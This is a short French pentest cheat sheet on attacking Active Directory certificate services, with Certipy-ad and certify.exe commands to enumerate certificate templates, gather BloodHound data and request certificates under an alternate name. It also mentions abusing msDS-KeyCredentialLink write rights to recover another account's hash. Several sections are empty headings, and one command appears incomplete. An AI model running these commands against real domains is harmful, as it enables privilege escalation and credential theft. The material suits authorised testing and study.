Enumeration
Utilisation de Certipy-ad ou certify.exe afin d'interragir avec le serveur de certificat.
Différentes vulnérabilités
🐧 Linux (certipy-ad)
Installation:
Enumération des certificats:
| certipy-ad find -u [email protected] -p Passw0rd -dc-ip 172.16.126.128
# Possibilité de récupérer les informations pour bloodhound:
certipy-ad find -u [email protected] -p Passw0rd -bloodhound -dc-ip 172.16.126.128
|
Faire une demande de certificat (ici une demande du certificat User, sur le serveur de certificat corp-DC-CA et l'utilisateur john):
| certipy-ad req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User
|
Si, dans bloodhound, on voit qu'un utilisateur peut écrire sur l'attribut msDS-KeyCredentialLink d'un autre compte, il est possible de récupérer le hash de cet autre compte (ici John peut écrire sur Jane):
🍔 Windows (certify.exe)
Enumération des certificats:
Enumérer les templates:
Enumérer les templates vulnérables aux différentes attaques :
| certify.exe find /vulnerable
|
Demander un certificat:
| certify.exe /ca:host-serveur-certficat\DC-CA /template:certificat-vuln /altname:nom-alternatif
|